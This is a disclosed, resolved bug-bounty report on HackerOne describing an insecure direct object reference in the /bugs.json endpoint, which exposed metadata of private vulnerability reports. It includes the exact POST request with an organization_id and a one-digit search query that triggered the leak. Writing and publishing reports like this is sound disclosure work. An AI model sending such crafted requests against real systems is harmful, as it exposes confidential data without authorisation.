Insecure Direct Object Reference (IDOR) Allows Viewing Private Report Details via /bugs.json Endpoint
Critical
Vulnerability Details
### Hi H1 i hope you are Doing Well Today :)
### Explaining
* I Found that any private reports can be accessed by sending a POST request to the `/bugs.json` endpoint. This vulnerable endpoint requires `organization_id`, which takes the organization's ID as a value. It also requires `text_query`, which is used to search for report IDs. within this org , Now you can append the example organization ID mentioned on the policy page, `58579`. and For the `text_query`, you can simply append a single digit, such as 1, or any other single number. This will query all reports containing this digit, provided they belong to the specified organization
### Step To Reproduce
1.Send a POST request to this endpoint. You can change the organization_id to anything, but leave it as it is
```
POST /bugs.json HTTP/2
Host: hackerone.com
Cookie: __Host-session=Your-Session-Here
X-Csrf-Token: Your-Csrf-Here
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Te: trailers
Content-Length: 390
text_query=1&organization_id=58579&persist=true&sort_type=pg_search_rank&view=message&substates%5B%5D=new&substates%5B%5D=needs-more-info&substates%5B%5D=triaged&substates%5B%5D=resolved&substates%5B%5D=informative&substates%5B%5D=not-applicable&substates%5B%5D=duplicate&substates%5B%5D=retesting&substates%5B%5D=pending-program-review&substates%5B%5D=spam&duplicates_must_have_no_ref=true
```
### Poc Video
█████████
## Impact
idor lead to view private reports `title`,`url`,`id`,`state`,`substate`,`severity_rating`,`readable_substate`,`created_at`,`submitted_at`,`reporter_name`
Actions
View on HackerOneReport Stats
- Report ID: 2487889
- State: Closed
- Substate: resolved
- Upvotes: 190